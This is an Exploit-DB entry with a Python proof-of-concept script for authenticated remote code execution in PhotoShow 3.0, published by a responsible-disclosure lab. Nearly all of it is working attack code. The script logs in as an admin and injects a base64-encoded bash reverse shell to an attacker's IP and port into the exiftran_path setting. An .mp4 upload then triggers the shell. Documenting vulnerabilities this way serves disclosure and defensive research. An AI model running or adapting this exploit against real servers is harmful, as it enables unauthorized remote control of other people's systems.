Exploit-DB #51236
Description: PhotoShow 3.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2023-04-05
Author: LSCP Responsible Disclosure Lab

Exploit:
# Exploit Title: PhotoShow 3.0 - Remote Code Execution
# Date: January 11, 2023
# Exploit Author: LSCP Responsible Disclosure Lab
# Detailed Bug Description: https://lscp.llc/index.php/2021/07/19/how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0/
# Vendor Homepage: https://github.com/thibaud-rohmer
# Software Link: https://github.com/thibaud-rohmer/PhotoShow
# Version: 3.0
# Tested on: Ubuntu 20.04 LTS

# creds of a user with admin privileges required

import sys
import requests
import base64
import urllib.parse


if(len(sys.argv)!=6):
	print('Usage: \n\tpython3 ' + sys.argv[0] + ' "login" ' +
	'"password" "target_ip" "attacker_ip" "attacker_nc_port"')
	quit()

login=sys.argv[1]
password=sys.argv[2]
targetIp = sys.argv[3]
attackerIp = sys.argv[4]
attackerNcPort = sys.argv[5]


def main():
	session = requests.Session()
	#login as admin user
	logInSession(session, targetIp, login, password)
	#change application behaviour for handling .mp4 video
	uploadExpoit(session, targetIp, attackerIp, attackerNcPort)
	#send the shell to attaker's nc by uploading .mp4 video
	sendMP4Video(session, targetIp)
	print("Check your netcat")

def logInSession(session, targetIp, login, password):
	session.headers.update({'Content-Type' : "application/x-www-form-urlencoded"})
	data = "login="+login+"&password="+password
	url = "http://"+targetIp+"/?t=Login"
	response= session.post(url, data=data)
	phpsessid=response.headers.get("Set-Cookie").split(";")[0]
	session.headers.update({'Cookie' : phpsessid})


def uploadExpoit(session, targetIp, attackerIp, attackerNcPort):
	exiftranPathInjection=createInjection(attackerIp, attackerNcPort)
	url = "http://"+targetIp+"/?t=Adm&a=Set"
	data = "name=PhotoShow&site_address=&loc=default.ini&user_theme=Default&" \
	+ "rss=on&max_comments=50&thumbs_size=200&fbappid=&ffmpeg_path=&encode_video=on&"\
	+ "ffmpeg_option=-threads+4+-vcodec+libx264+-acodec+libfdk_aac&rotate_image=on&"\
	+ exiftranPathInjection
	session.post(url, data=data).content.decode('utf8')


def createInjection(attakerIp, attackerNcPort):
	textToEncode = "bash -i >& /dev/tcp/"+attackerIp+"/"+attackerNcPort+" 0>&1"
	b64Encoded = base64.b64encode(textToEncode.encode("ascii"))
	strb64 = str(b64Encoded)
	strb64 = strb64[2:len(strb64)-1]
	injection = {"exiftran_path":"echo "+ strb64 +" | base64 -d > /tmp/1.sh ;/bin/bash /tmp/1.sh"}
	return urllib.parse.urlencode(injection)

def sendMP4Video(session, targetIp):
	session.headers.update({'Content-Type' : "multipart/form-data; "\
	+"boundary=--------------------------[PII_REDACTED][PII_REDACTED]028651"})
	url = "http://"+targetIp+"/?a=Upl"
	data = """----------------------------[PII_REDACTED][PII_REDACTED]028651\r
Content-Disposition: form-data; name="path"\r
\r
\r
----------------------------[PII_REDACTED][PII_REDACTED]028651\r
Content-Disposition: form-data; name="inherit"\r
\r
1\r
----------------------------[PII_REDACTED][PII_REDACTED]028651\r
Content-Disposition: form-data; name="images[]"; filename="a.mp4"\r
Content-Type: video/mp4\r
\r
a\r
----------------------------[PII_REDACTED][PII_REDACTED]028651--\r
"""
	try:
		session.post(url, data=data, timeout=0.001)
	except requests.exceptions.ReadTimeout:
		pass


if __name__ =="__main__":
	main()